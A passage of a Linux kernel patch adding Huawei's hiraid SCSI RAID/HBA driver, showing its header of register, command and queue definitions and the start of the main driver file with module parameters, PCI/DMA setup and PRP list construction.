+#ifndef __HIRAID_H_ +#define __HIRAID_H_ + +#define HIRAID_HDD_PD_QD 64 +#define HIRAID_HDD_VD_QD 256 +#define HIRAID_SSD_PD_QD 64 +#define HIRAID_SSD_VD_QD 256 + +#define BGTASK_TYPE_REBUILD 4 +#define USR_CMD_READ 0xc2 +#define USR_CMD_RDLEN 0x1000 +#define USR_CMD_VDINFO 0x704 +#define USR_CMD_BGTASK 0x504 +#define VDINFO_PARAM_LEN 0x04 + +#define HIRAID_DEFAULT_MAX_CHANNEL 4 +#define HIRAID_DEFAULT_MAX_ID 240 +#define HIRAID_DEFAULT_MAX_LUN_PER_HOST 8 + +#define FUA_MASK 0x08 + +#define HIRAID_IO_SQES 7 +#define HIRAID_IO_CQES 4 +#define PRP_ENTRY_SIZE 8 + +#define EXTRA_POOL_SIZE 256 +#define MAX_EXTRA_POOL_NUM 16 +#define MAX_CMD_PER_DEV 64 +#define MAX_CDB_LEN 16 + +#define HIRAID_AQ_DEPTH 128 +#define HIRAID_ASYN_COMMANDS 16 +#define HIRAID_AQ_BLK_MQ_DEPTH (HIRAID_AQ_DEPTH - HIRAID_ASYN_COMMANDS) +#define HIRAID_AQ_MQ_TAG_DEPTH (HIRAID_AQ_BLK_MQ_DEPTH - 1) + +#define HIRAID_ADMIN_QUEUE_NUM 1 +#define HIRAID_PTHRU_CMDS_PERQ 1 +#define HIRAID_TOTAL_PTCMDS(qn) (HIRAID_PTHRU_CMDS_PERQ * (qn)) + +#define HIRAID_DEV_INFO_ATTR_BOOT(attr) ((attr) & 0x01) +#define HIRAID_DEV_INFO_ATTR_VD(attr) (((attr) & 0x02) == 0x0) +#define HIRAID_DEV_INFO_ATTR_PT(attr) (((attr) & 0x22) == 0x02) +#define HIRAID_DEV_INFO_ATTR_RAWDISK(attr) ((attr) & 0x20) +#define HIRAID_DEV_DISK_TYPE(attr) ((attr) & 0x1e) + +#define HIRAID_DEV_INFO_FLAG_VALID(flag) ((flag) & 0x01) +#define HIRAID_DEV_INFO_FLAG_CHANGE(flag) ((flag) & 0x02) + +#define HIRAID_CAP_MQES(cap) ((cap) & 0xffff) +#define HIRAID_CAP_STRIDE(cap) (((cap) >> 32) & 0xf) +#define HIRAID_CAP_MPSMIN(cap) (((cap) >> 48) & 0xf) +#define HIRAID_CAP_MPSMAX(cap) (((cap) >> 52) & 0xf) +#define HIRAID_CAP_TIMEOUT(cap) (((cap) >> 24) & 0xff) +#define HIRAID_CAP_DMAMASK(cap) (((cap) >> 37) & 0xff) + +#define IO_SQE_SIZE sizeof(struct hiraid_scsi_io_cmd) +#define ADMIN_SQE_SIZE sizeof(struct hiraid_admin_command) +#define SQE_SIZE(qid) (((qid) > 0) ? IO_SQE_SIZE : ADMIN_SQE_SIZE) +#define CQ_SIZE(depth) ((depth) * sizeof(struct hiraid_completion)) +#define SQ_SIZE(qid, depth) ((depth) * SQE_SIZE(qid)) + +#define SENSE_SIZE(depth) ((depth) * SCSI_SENSE_BUFFERSIZE) + +#define IO_6_DEFAULT_TX_LEN 256 + +#define MAX_DEV_ENTRY_PER_PAGE_4K 340 + +#define MAX_REALTIME_BGTASK_NUM 32 + +#define PCI_VENDOR_ID_HUAWEI_LOGIC 0x19E5 +#define HIRAID_SERVER_DEVICE_HBA_DID 0x3858 +#define HIRAID_SERVER_DEVICE_RAID_DID 0x3758 + +enum { + HIRAID_SC_SUCCESS = 0x0, + HIRAID_SC_INVALID_OPCODE = 0x1, + HIRAID_SC_INVALID_FIELD = 0x2, + + HIRAID_SC_ABORT_LIMIT = 0x103, + HIRAID_SC_ABORT_MISSING = 0x104, + HIRAID_SC_ASYNC_LIMIT = 0x105, + + HIRAID_SC_DNR = 0x4000, +}; + +enum { + HIRAID_REG_CAP = 0x0000, + HIRAID_REG_CC = 0x0014, + HIRAID_REG_CSTS = 0x001c, + HIRAID_REG_AQA = 0x0024, + HIRAID_REG_ASQ = 0x0028, + HIRAID_REG_ACQ = 0x0030, + HIRAID_REG_DBS = 0x1000, +}; + +enum { + HIRAID_CC_ENABLE = 1 << 0, + HIRAID_CC_CSS_NVM = 0 << 4, + HIRAID_CC_MPS_SHIFT = 7, + HIRAID_CC_AMS_SHIFT = 11, + HIRAID_CC_SHN_SHIFT = 14, + HIRAID_CC_IOSQES_SHIFT = 16, + HIRAID_CC_IOCQES_SHIFT = 20, + HIRAID_CC_AMS_RR = 0 << HIRAID_CC_AMS_SHIFT, + HIRAID_CC_SHN_NONE = 0 << HIRAID_CC_SHN_SHIFT, + HIRAID_CC_IOSQES = HIRAID_IO_SQES << HIRAID_CC_IOSQES_SHIFT, + HIRAID_CC_IOCQES = HIRAID_IO_CQES << HIRAID_CC_IOCQES_SHIFT, + HIRAID_CC_SHN_NORMAL = 1 << HIRAID_CC_SHN_SHIFT, + HIRAID_CC_SHN_MASK = 3 << HIRAID_CC_SHN_SHIFT, + HIRAID_CSTS_CFS_SHIFT = 1, + HIRAID_CSTS_SHST_SHIFT = 2, + HIRAID_CSTS_PP_SHIFT = 5, + HIRAID_CSTS_RDY = 1 << 0, + HIRAID_CSTS_SHST_CMPLT = 2 << 2, + HIRAID_CSTS_SHST_MASK = 3 << 2, + HIRAID_CSTS_CFS_MASK = 1 << HIRAID_CSTS_CFS_SHIFT, + HIRAID_CSTS_PP_MASK = 1 << HIRAID_CSTS_PP_SHIFT, +}; + +enum { + HIRAID_ADMIN_DELETE_SQ = 0x00, + HIRAID_ADMIN_CREATE_SQ = 0x01, + HIRAID_ADMIN_DELETE_CQ = 0x04, + HIRAID_ADMIN_CREATE_CQ = 0x05, + HIRAID_ADMIN_ABORT_CMD = 0x08, + HIRAID_ADMIN_SET_FEATURES = 0x09, + HIRAID_ADMIN_ASYNC_EVENT = 0x0c, + HIRAID_ADMIN_GET_INFO = 0xc6, + HIRAID_ADMIN_RESET = 0xc8, +}; + +enum { + HIRAID_GET_CTRL_INFO = 0, + HIRAID_GET_DEVLIST_INFO = 1, +}; + +enum hiraid_rst_type { + HIRAID_RESET_TARGET = 0, + HIRAID_RESET_BUS = 1, +}; + +enum { + HIRAID_ASYN_EVENT_ERROR = 0, + HIRAID_ASYN_EVENT_NOTICE = 2, + HIRAID_ASYN_EVENT_VS = 7, +}; + +enum { + HIRAID_ASYN_DEV_CHANGED = 0x00, + HIRAID_ASYN_FW_ACT_START = 0x01, + HIRAID_ASYN_HOST_PROBING = 0x10, +}; + +enum { + HIRAID_ASYN_TIMESYN = 0x00, + HIRAID_ASYN_FW_ACT_FINISH = 0x02, + HIRAID_ASYN_EVENT_MIN = 0x80, + HIRAID_ASYN_EVENT_MAX = 0xff, +}; + +enum { + HIRAID_CMD_WRITE = 0x01, + HIRAID_CMD_READ = 0x02, + + HIRAID_CMD_NONRW_NONE = 0x80, + HIRAID_CMD_NONRW_TODEV = 0x81, + HIRAID_CMD_NONRW_FROMDEV = 0x82, +}; + +enum { + HIRAID_QUEUE_PHYS_CONTIG = (1 << 0), + HIRAID_CQ_IRQ_ENABLED = (1 << 1), + + HIRAID_FEATURE_NUM_QUEUES = 0x07, + HIRAID_FEATURE_ASYNC_EVENT = 0x0b, + HIRAID_FEATURE_TIMESTAMP = 0x0e, +}; + +enum hiraid_dev_state { + DEV_NEW, + DEV_LIVE, + DEV_RESETTING, + DEV_DELETING, + DEV_DEAD, +}; + +enum { + HIRAID_CARD_HBA, + HIRAID_CARD_RAID, +}; + +enum hiraid_cmd_type { + HIRAID_CMD_ADMIN, + HIRAID_CMD_PTHRU, +}; + +enum { + SQE_FLAG_SGL_METABUF = (1 << 6), + SQE_FLAG_SGL_METASEG = (1 << 7), + SQE_FLAG_SGL_ALL = SQE_FLAG_SGL_METABUF | SQE_FLAG_SGL_METASEG, +}; + +enum hiraid_cmd_state { + CMD_IDLE = 0, + CMD_FLIGHT = 1, + CMD_COMPLETE = 2, + CMD_TIMEOUT = 3, + CMD_TMO_COMPLETE = 4, +}; + +enum { + HIRAID_BSG_ADMIN, + HIRAID_BSG_IOPTHRU, +}; + +enum { + HIRAID_SAS_HDD_VD = 0x04, + HIRAID_SATA_HDD_VD = 0x08, + HIRAID_SAS_SSD_VD = 0x0c, + HIRAID_SATA_SSD_VD = 0x10, + HIRAID_NVME_SSD_VD = 0x14, + HIRAID_SAS_HDD_PD = 0x06, + HIRAID_SATA_HDD_PD = 0x0a, + HIRAID_SAS_SSD_PD = 0x0e, + HIRAID_SATA_SSD_PD = 0x12, + HIRAID_NVME_SSD_PD = 0x16, +}; + +enum { + DISPATCH_BY_CPU, + DISPATCH_BY_DISK, +}; + +struct hiraid_completion { + __le32 result; + union { + struct { + __u8 sense_len; + __u8 resv[3]; + }; + __le32 result1; + }; + __le16 sq_head; + __le16 sq_id; + __le16 cmd_id; + __le16 status; +}; + +struct hiraid_ctrl_info { + __le32 nd; + __le16 max_cmds; + __le16 max_channel; + __le32 max_tgt_id; + __le16 max_lun; + __le16 max_num_sge; + __le16 lun_num_boot; + __u8 mdts; + __u8 acl; + __u8 asynevent; + __u8 card_type; + __u8 pt_use_sgl; + __u8 rsvd; + __le32 rtd3e; + __u8 sn[32]; + __u8 fw_version[16]; + __u8 rsvd1[4020]; +}; + +struct hiraid_dev { + struct pci_dev *pdev; + struct device *dev; + struct Scsi_Host *shost; + struct hiraid_queue *queues; + struct dma_pool *prp_page_pool; + struct dma_pool *prp_extra_pool[MAX_EXTRA_POOL_NUM]; + void __iomem *bar; + u32 max_qid; + u32 num_vecs; + u32 queue_count; + u32 ioq_depth; + u32 db_stride; + u32 __iomem *dbs; + struct rw_semaphore dev_rwsem; + int numa_node; + u32 page_size; + u32 ctrl_config; + u32 online_queues; + u64 cap; + u32 scsi_qd; + u32 instance; + struct hiraid_ctrl_info *ctrl_info; + struct hiraid_dev_info *dev_info; + + struct hiraid_cmd *adm_cmds; + struct list_head adm_cmd_list; + spinlock_t adm_cmd_lock; + + struct hiraid_cmd *io_ptcmds; + struct list_head io_pt_list; + spinlock_t io_pt_lock; + + struct work_struct scan_work; + struct work_struct timesyn_work; + struct work_struct reset_work; + struct work_struct fwact_work; + + enum hiraid_dev_state state; + spinlock_t state_lock; + + void *sense_buffer_virt; + dma_addr_t sense_buffer_phy; + u32 last_qcnt; + u8 hdd_dispatch; + + struct request_queue *bsg_queue; +}; + +struct hiraid_sgl_desc { + __le64 addr; + __le32 length; + __u8 rsvd[3]; + __u8 type; +}; + +union hiraid_data_ptr { + struct { + __le64 prp1; + __le64 prp2; + }; + struct hiraid_sgl_desc sgl; +}; + +struct hiraid_admin_com_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __le32 cdw2[4]; + union hiraid_data_ptr dptr; + __le32 cdw10; + __le32 cdw11; + __le32 cdw12; + __le32 cdw13; + __le32 cdw14; + __le32 cdw15; +}; + +struct hiraid_features { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __u64 rsvd2[2]; + union hiraid_data_ptr dptr; + __le32 fid; + __le32 dword11; + __le32 dword12; + __le32 dword13; + __le32 dword14; + __le32 dword15; +}; + +struct hiraid_create_cq { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __u32 rsvd1[5]; + __le64 prp1; + __u64 rsvd8; + __le16 cqid; + __le16 qsize; + __le16 cq_flags; + __le16 irq_vector; + __u32 rsvd12[4]; +}; + +struct hiraid_create_sq { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __u32 rsvd1[5]; + __le64 prp1; + __u64 rsvd8; + __le16 sqid; + __le16 qsize; + __le16 sq_flags; + __le16 cqid; + __u32 rsvd12[4]; +}; + +struct hiraid_delete_queue { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __u32 rsvd1[9]; + __le16 qid; + __u16 rsvd10; + __u32 rsvd11[5]; +}; + +struct hiraid_get_info { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __u32 rsvd2[4]; + union hiraid_data_ptr dptr; + __u8 type; + __u8 rsvd10[3]; + __le32 cdw11; + __u32 rsvd12[4]; +}; + +struct hiraid_usr_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + union { + struct { + __le16 subopcode; + __le16 rsvd1; + } info_0; + __le32 cdw2; + }; + union { + struct { + __le16 data_len; + __le16 param_len; + } info_1; + __le32 cdw3; + }; + __u64 metadata; + union hiraid_data_ptr dptr; + __le32 cdw10; + __le32 cdw11; + __le32 cdw12; + __le32 cdw13; + __le32 cdw14; + __le32 cdw15; +}; + +struct hiraid_abort_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __u64 rsvd2[4]; + __le16 sqid; + __le16 cid; + __u32 rsvd11[5]; +}; + +struct hiraid_reset_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __u64 rsvd2[4]; + __u8 type; + __u8 rsvd10[3]; + __u32 rsvd11[5]; +}; + +struct hiraid_admin_command { + union { + struct hiraid_admin_com_cmd common; + struct hiraid_features features; + struct hiraid_create_cq create_cq; + struct hiraid_create_sq create_sq; + struct hiraid_delete_queue delete_queue; + struct hiraid_get_info get_info; + struct hiraid_abort_cmd abort; + struct hiraid_reset_cmd reset; + struct hiraid_usr_cmd usr_cmd; + }; +}; + +struct hiraid_scsi_io_com_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __le16 sense_len; + __u8 cdb_len; + __u8 rsvd2; + __le32 cdw3[3]; + union hiraid_data_ptr dptr; + __le32 cdw10[6]; + __u8 cdb[32]; + __le64 sense_addr; + __le32 cdw26[6]; +}; + +struct hiraid_scsi_rw_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __le16 sense_len; + __u8 cdb_len; + __u8 rsvd2; + __u32 rsvd3[3]; + union hiraid_data_ptr dptr; + __le64 slba; + __le16 nlb; + __le16 control; + __u32 rsvd13[3]; + __u8 cdb[32]; + __le64 sense_addr; + __u32 rsvd26[6]; +}; + +struct hiraid_scsi_nonrw_cmd { + __u8 opcode; + __u8 flags; + __le16 cmd_id; + __le32 hdid; + __le16 sense_len; + __u8 cdb_length; + __u8 rsvd2; + __u32 rsvd3[3]; + union hiraid_data_ptr dptr; + __u32 rsvd10[5]; + __le32 buf_len; + __u8 cdb[32]; + __le64 sense_addr; + __u32 rsvd26[6]; +}; + +struct hiraid_scsi_io_cmd { + union { + struct hiraid_scsi_io_com_cmd common; + struct hiraid_scsi_rw_cmd rw; + struct hiraid_scsi_nonrw_cmd nonrw; + }; +}; + +struct hiraid_passthru_common_cmd { + __u8 opcode; + __u8 flags; + __u16 rsvd0; + __u32 nsid; + union { + struct { + __u16 subopcode; + __u16 rsvd1; + } info_0; + __u32 cdw2; + }; + union { + struct { + __u16 data_len; + __u16 param_len; + } info_1; + __u32 cdw3; + }; + __u64 metadata; + + __u64 addr; + __u64 prp2; + + __u32 cdw10; + __u32 cdw11; + __u32 cdw12; + __u32 cdw13; + __u32 cdw14; + __u32 cdw15; + __u32 timeout_ms; + __u32 result0; + __u32 result1; +}; + +struct hiraid_passthru_io_cmd { + __u8 opcode; + __u8 flags; + __u16 rsvd0; + __u32 nsid; + union { + struct { + __u16 res_sense_len; + __u8 cdb_len; + __u8 rsvd0; + } info_0; + __u32 cdw2; + }; + union { + struct { + __u16 subopcode; + __u16 rsvd1; + } info_1; + __u32 cdw3; + }; + union { + struct { + __u16 rsvd; + __u16 param_len; + } info_2; + __u32 cdw4; + }; + __u32 cdw5; + __u64 addr; + __u64 prp2; + union { + struct { + __u16 eid; + __u16 sid; + } info_3; + __u32 cdw10; + }; + union { + struct { + __u16 did; + __u8 did_flag; + __u8 rsvd2; + } info_4; + __u32 cdw11; + }; + __u32 cdw12; + __u32 cdw13; + __u32 cdw14; + __u32 data_len; + __u32 cdw16; + __u32 cdw17; + __u32 cdw18; + __u32 cdw19; + __u32 cdw20; + __u32 cdw21; + __u32 cdw22; + __u32 cdw23; + __u64 sense_addr; + __u32 cdw26[4]; + __u32 timeout_ms; + __u32 result0; + __u32 result1; +}; + +struct hiraid_bsg_request { + u32 msgcode; + u32 control; + union { + struct hiraid_passthru_common_cmd admcmd; + struct hiraid_passthru_io_cmd pthrucmd; + }; +}; + +struct hiraid_cmd { + u16 qid; + u16 cid; + u32 result0; + u32 result1; + u16 status; + void *priv; + enum hiraid_cmd_state state; + struct completion cmd_done; + struct list_head list; +}; + +struct hiraid_queue { + struct hiraid_dev *hdev; + spinlock_t sq_lock; + + spinlock_t cq_lock ____cacheline_aligned_in_smp; + + void *sq_cmds; + + struct hiraid_completion *cqes; + + dma_addr_t sq_buffer_phy; + dma_addr_t cq_buffer_phy; + u32 __iomem *q_db; + u8 cq_phase; + u8 sqes; + u16 qid; + u16 sq_tail; + u16 cq_head; + u16 last_cq_head; + u16 q_depth; + s16 cq_vector; + atomic_t inflight; + void *sense_buffer_virt; + dma_addr_t sense_buffer_phy; + struct dma_pool *prp_small_pool; +}; + +struct hiraid_mapmange { + struct hiraid_queue *hiraidq; + enum hiraid_cmd_state state; + u16 cid; + int page_cnt; + u32 sge_cnt; + u32 len; + bool use_sgl; + dma_addr_t first_dma; + void *sense_buffer_virt; + dma_addr_t sense_buffer_phy; + struct scatterlist *sgl; + void *list[0]; +}; + +struct hiraid_vd_info { + __u8 name[32]; + __le16 id; + __u8 rg_id; + __u8 rg_level; + __u8 sg_num; + __u8 sg_disk_num; + __u8 vd_status; + __u8 vd_type; + __u8 rsvd1[4056]; +}; + +struct bgtask_info { + __u8 type; + __u8 progress; + __u8 rate; + __u8 rsvd0; + __le16 vd_id; + __le16 time_left; + __u8 rsvd1[4]; +}; + +struct hiraid_bgtask { + __u8 sw; + __u8 task_num; + __u8 rsvd[6]; + struct bgtask_info bgtask[MAX_REALTIME_BGTASK_NUM]; +}; + +struct hiraid_dev_info { + __le32 hdid; + __le16 target; + __u8 channel; + __u8 lun; + __u8 attr; + __u8 flag; + __le16 max_io_kb; +}; + +struct hiraid_dev_list { + __le32 dev_num; + __u32 rsvd0[3]; + struct hiraid_dev_info devinfo[MAX_DEV_ENTRY_PER_PAGE_4K]; +}; + +struct hiraid_sdev_hostdata { + u32 hdid; + u16 max_io_kb; + u8 attr; + u8 flag; + u8 rg_id; + u8 hwq; + u16 pend_count; +}; + +#endif + diff --git a/drivers/scsi/hisi_raid/hiraid_main.c b/drivers/scsi/hisi_raid/hiraid_main.c new file mode 100644 index 000000000000..b9ffa642479c --- /dev/null +++ b/drivers/scsi/hisi_raid/hiraid_main.c @@ -0,0 +1,3982 @@ +// SPDX-License-Identifier: GPL-2.0 +/* Copyright(c) 2022 Huawei Technologies Co., Ltd */ + +/* Huawei Raid Series Linux Driver */ + +#define pr_fmt(fmt) "hiraid: " fmt + +#include <linux/sched/signal.h> +#include <linux/version.h> +#include <linux/pci.h> +#include <linux/aer.h> +#include <linux/module.h> +#include <linux/ioport.h> +#include <linux/device.h> +#include <linux/delay.h> +#include <linux/interrupt.h> +#include <linux/cdev.h> +#include <linux/sysfs.h> +#include <linux/gfp.h> +#include <linux/types.h> +#include <linux/ratelimit.h> +#include <linux/once.h> +#include <linux/debugfs.h> +#include <linux/io-64-nonatomic-lo-hi.h> +#include <linux/blkdev.h> +#include <linux/bsg-lib.h> +#include <asm/unaligned.h> +#include <linux/sort.h> +#include <target/target_core_backend.h> + +#include <scsi/scsi.h> +#include <scsi/scsi_cmnd.h> +#include <scsi/scsi_device.h> +#include <scsi/scsi_host.h> +#include <scsi/scsi_transport.h> +#include <scsi/scsi_dbg.h> +#include <scsi/sg.h> + +#include "hiraid.h" + +static u32 admin_tmout = 60; +module_param(admin_tmout, uint, 0644); +MODULE_PARM_DESC(admin_tmout, "admin commands timeout (seconds)"); + +static u32 scmd_tmout_rawdisk = 180; +module_param(scmd_tmout_rawdisk, uint, 0644); +MODULE_PARM_DESC(scmd_tmout_rawdisk, "scsi commands timeout for rawdisk(seconds)"); + +static u32 scmd_tmout_vd = 180; +module_param(scmd_tmout_vd, uint, 0644); +MODULE_PARM_DESC(scmd_tmout_vd, "scsi commands timeout for vd(seconds)"); + +static bool max_io_force; +module_param(max_io_force, bool, 0644); +MODULE_PARM_DESC(max_io_force, "force max_hw_sectors_kb = 1024, default false(performance first)"); + +static bool work_mode; +module_param(work_mode, bool, 0444); +MODULE_PARM_DESC(work_mode, "work mode switch, default false for multi hw queues"); + +#define MAX_IO_QUEUES 128 +#define MIN_IO_QUEUES 1 + +static int ioq_num_set(const char *val, const struct kernel_param *kp) +{ + int n = 0; + int ret; + + ret = kstrtoint(val, 10, &n); + if (ret != 0 || n < MIN_IO_QUEUES || n > MAX_IO_QUEUES) + return -EINVAL; + + return param_set_int(val, kp); +} + +static const struct kernel_param_ops max_hwq_num_ops = { + .set = ioq_num_set, + .get = param_get_uint, +}; + +static u32 max_hwq_num = 128; +module_param_cb(max_hwq_num, &max_hwq_num_ops, &max_hwq_num, 0444); +MODULE_PARM_DESC(max_hwq_num, "max num of hw io queues, should >= 1, default 128"); + +static int io_queue_depth_set(const char *val, const struct kernel_param *kp) +{ + int n = 0; + int ret; + + ret = kstrtoint(val, 10, &n); + if (ret != 0 || n < 2) + return -EINVAL; + + return param_set_int(val, kp); +} + +static const struct kernel_param_ops io_queue_depth_ops = { + .set = io_queue_depth_set, + .get = param_get_uint, +}; + +static u32 io_queue_depth = 1024; +module_param_cb(io_queue_depth, &io_queue_depth_ops, &io_queue_depth, 0644); +MODULE_PARM_DESC(io_queue_depth, "set io queue depth, should >= 2"); + +static u32 log_debug_switch; +module_param(log_debug_switch, uint, 0644); +MODULE_PARM_DESC(log_debug_switch, "set log state, default zero for switch off"); + +static int extra_pool_num_set(const char *val, const struct kernel_param *kp) +{ + u8 n = 0; + int ret; + + ret = kstrtou8(val, 10, &n); + if (ret != 0) + return -EINVAL; + if (n > MAX_EXTRA_POOL_NUM) + n = MAX_EXTRA_POOL_NUM; + if (n < 1) + n = 1; + *((u8 *)kp->arg) = n; + + return 0; +} + +static const struct kernel_param_ops small_pool_num_ops = { + .set = extra_pool_num_set, + .get = param_get_byte, +}; + +/* It was found that the spindlock of a single pool conflicts + * a lot with multiple CPUs.So multiple pools are introduced + * to reduce the conflictions. + */ +static unsigned char extra_pool_num = 4; +module_param_cb(extra_pool_num, &small_pool_num_ops, &extra_pool_num, 0644); +MODULE_PARM_DESC(extra_pool_num, "set prp extra pool num, default 4, MAX 16"); + +static void hiraid_handle_async_notice(struct hiraid_dev *hdev, u32 result); +static void hiraid_handle_async_vs(struct hiraid_dev *hdev, u32 result, u32 result1); + +static struct class *hiraid_class; + +#define HIRAID_CAP_TIMEOUT_UNIT_MS (HZ / 2) + +static struct workqueue_struct *work_queue; + +#define dev_log_dbg(dev, fmt, ...) do { \ + if (unlikely(log_debug_switch)) \ + dev_info(dev, "[%s] " fmt, \ + __func__, ##__VA_ARGS__); \ +} while (0) + +#define HIRAID_DRV_VERSION "1.1.0.0" + +#define ADMIN_TIMEOUT (admin_tmout * HZ) +#define USRCMD_TIMEOUT (180 * HZ) +#define CTL_RST_TIME (600 * HZ) + +#define HIRAID_WAIT_ABNL_CMD_TIMEOUT 6 +#define HIRAID_WAIT_RST_IO_TIMEOUT 10 + +#define HIRAID_DMA_MSK_BIT_MAX 64 + +#define IOQ_PT_DATA_LEN 4096 +#define IOQ_PT_SGL_DATA_LEN (1024 * 1024) + +#define MAX_CAN_QUEUE (4096 - 1) +#define MIN_CAN_QUEUE (1024 - 1) + +enum SENSE_STATE_CODE { + SENSE_STATE_OK = 0, + SENSE_STATE_NEED_CHECK, + SENSE_STATE_ERROR, + SENSE_STATE_EP_PCIE_ERROR, + SENSE_STATE_NAC_DMA_ERROR, + SENSE_STATE_ABORTED, + SENSE_STATE_NEED_RETRY +}; + +enum { + FW_EH_OK = 0, + FW_EH_DEV_NONE = 0x701 +}; + +static const char * const raid_levels[] = {"0", "1", "5", "6", "10", "50", "60", "NA"}; + +static const char * const raid_states[] = { + "NA", "NORMAL", "FAULT", "DEGRADE", "NOT_FORMATTED", "FORMATTING", "SANITIZING", + "INITIALIZING", "INITIALIZE_FAIL", "DELETING", "DELETE_FAIL", "WRITE_PROTECT" +}; + +static int hiraid_remap_bar(struct hiraid_dev *hdev, u32 size) +{ + struct pci_dev *pdev = hdev->pdev; + + if (size > pci_resource_len(pdev, 0)) { + dev_err(hdev->dev, "input size[%u] exceed bar0 length[%llu]\n", + size, pci_resource_len(pdev, 0)); + return -ENOMEM; + } + + if (hdev->bar) + iounmap(hdev->bar); + + hdev->bar = ioremap(pci_resource_start(pdev, 0), size); + if (!hdev->bar) { + dev_err(hdev->dev, "ioremap for bar0 failed\n"); + return -ENOMEM; + } + hdev->dbs = hdev->bar + HIRAID_REG_DBS; + + return 0; +} + +static int hiraid_dev_map(struct hiraid_dev *hdev) +{ + struct pci_dev *pdev = hdev->pdev; + int ret; + + ret = pci_request_mem_regions(pdev, "hiraid"); + if (ret) { + dev_err(hdev->dev, "fail to request memory regions\n"); + return ret; + } + + ret = hiraid_remap_bar(hdev, HIRAID_REG_DBS + 4096); + if (ret) { + pci_release_mem_regions(pdev); + return ret; + } + + return 0; +} + +static void hiraid_dev_unmap(struct hiraid_dev *hdev) +{ + struct pci_dev *pdev = hdev->pdev; + + if (hdev->bar) { + iounmap(hdev->bar); + hdev->bar = NULL; + } + pci_release_mem_regions(pdev); +} + +static int hiraid_pci_enable(struct hiraid_dev *hdev) +{ + struct pci_dev *pdev = hdev->pdev; + int ret = -ENOMEM; + u64 maskbit = HIRAID_DMA_MSK_BIT_MAX; + + if (pci_enable_device_mem(pdev)) { + dev_err(hdev->dev, "enable pci device memory resources failed\n"); + return ret; + } + pci_set_master(pdev); + + if (readl(hdev->bar + HIRAID_REG_CSTS) == U32_MAX) { + ret = -ENODEV; + dev_err(hdev->dev, "read CSTS register failed\n"); + goto disable; + } + + hdev->cap = lo_hi_readq(hdev->bar + HIRAID_REG_CAP); + hdev->ioq_depth = min_t(u32, HIRAID_CAP_MQES(hdev->cap) + 1, io_queue_depth); + hdev->db_stride = 1 << HIRAID_CAP_STRIDE(hdev->cap); + + maskbit = HIRAID_CAP_DMAMASK(hdev->cap); + if (maskbit < 32 || maskbit > HIRAID_DMA_MSK_BIT_MAX) { + dev_err(hdev->dev, "err, dma mask invalid[%llu], set to default\n", maskbit); + maskbit = HIRAID_DMA_MSK_BIT_MAX; + } + + if (dma_set_mask_and_coherent(&pdev->dev, DMA_BIT_MASK(maskbit))) { + if (dma_set_mask_and_coherent(&pdev->dev, DMA_BIT_MASK(32))) { + dev_err(hdev->dev, "set dma mask[32] and coherent failed\n"); + goto disable; + } + dev_info(hdev->dev, "set dma mask[32] success\n"); + } else { + dev_info(hdev->dev, "set dma mask[%llu] success\n", maskbit); + } + + ret = pci_alloc_irq_vectors(pdev, 1, 1, PCI_IRQ_ALL_TYPES); + if (ret < 0) { + dev_err(hdev->dev, "allocate one IRQ for setup admin queue failed\n"); + goto disable; + } + + pci_enable_pcie_error_reporting(pdev); + pci_save_state(pdev); + + return 0; + +disable: + pci_disable_device(pdev); + return ret; +} + + +/* + * It is fact that first prp and last prp may be not full page. + * The size to count total nprps for the io equal to size + page_size, + * it may be a slightly overestimate. + * + * 8B per prp address. It may be there is one prp_list address per page, + * prp_list address does not count in io data prps. So divisor equal to + * PAGE_SIZE - 8, it may be a slightly overestimate. + */ +static int hiraid_prp_pagenum(struct hiraid_dev *hdev) +{ + u32 size = 1U << ((hdev->ctrl_info->mdts) * 1U) << 12; + u32 nprps = DIV_ROUND_UP(size + hdev->page_size, hdev->page_size); + + return DIV_ROUND_UP(PRP_ENTRY_SIZE * nprps, hdev->page_size - PRP_ENTRY_SIZE); +} + +/* + * Calculates the number of pages needed for the SGL segments. For example a 4k + * page can accommodate 256 SGL descriptors. + */ +static int hiraid_sgl_pagenum(struct hiraid_dev *hdev) +{ + u32 nsge = le16_to_cpu(hdev->ctrl_info->max_num_sge); + + return DIV_ROUND_UP(nsge * sizeof(struct hiraid_sgl_desc), hdev->page_size); +} + +static inline void **hiraid_mapbuf_list(struct hiraid_mapmange *mapbuf) +{ + return mapbuf->list; +} + +static u32 hiraid_get_max_cmd_size(struct hiraid_dev *hdev) +{ + u32 alloc_size = sizeof(__le64 *) * max(hiraid_prp_pagenum(hdev), hiraid_sgl_pagenum(hdev)); + + dev_info(hdev->dev, "mapbuf size[%lu], alloc_size[%u]\n", + sizeof(struct hiraid_mapmange), alloc_size); + + return sizeof(struct hiraid_mapmange) + alloc_size; +} + +static int hiraid_build_passthru_prp(struct hiraid_dev *hdev, struct hiraid_mapmange *mapbuf) +{ + struct scatterlist *sg = mapbuf->sgl; + __le64 *phy_regpage, *prior_list; + u64 buf_addr = sg_dma_address(sg); + int buf_length = sg_dma_len(sg); + u32 page_size = hdev->page_size; + int offset = buf_addr & (page_size - 1); + void **list = hiraid_mapbuf_list(mapbuf); + int maplen = mapbuf->len; + struct dma_pool *pool; + dma_addr_t buffer_phy; + int i; + + maplen -= (page_size - offset); + if (maplen <= 0) { + mapbuf->first_dma = 0; + return 0; + } + + buf_length -= (page_size - offset); + if (buf_length) { + buf_addr += (page_size - offset); + } else { + sg = sg_next(sg); + buf_addr = sg_dma_address(sg); + buf_length = sg_dma_len(sg); + } + + if (maplen <= page_size) { + mapbuf->first_dma = buf_addr; + return 0; + } + + pool = hdev->prp_page_pool; + mapbuf->page_cnt = 1; + + phy_regpage = dma_pool_alloc(pool, GFP_ATOMIC, &buffer_phy); + if (!phy_regpage) { + dev_err_ratelimited(hdev->dev, "allocate first admin prp_list memory failed\n"); + mapbuf->first_dma = buf_addr; + mapbuf->page_cnt = -1; + return -ENOMEM; + } + list[0] = phy_regpage; + 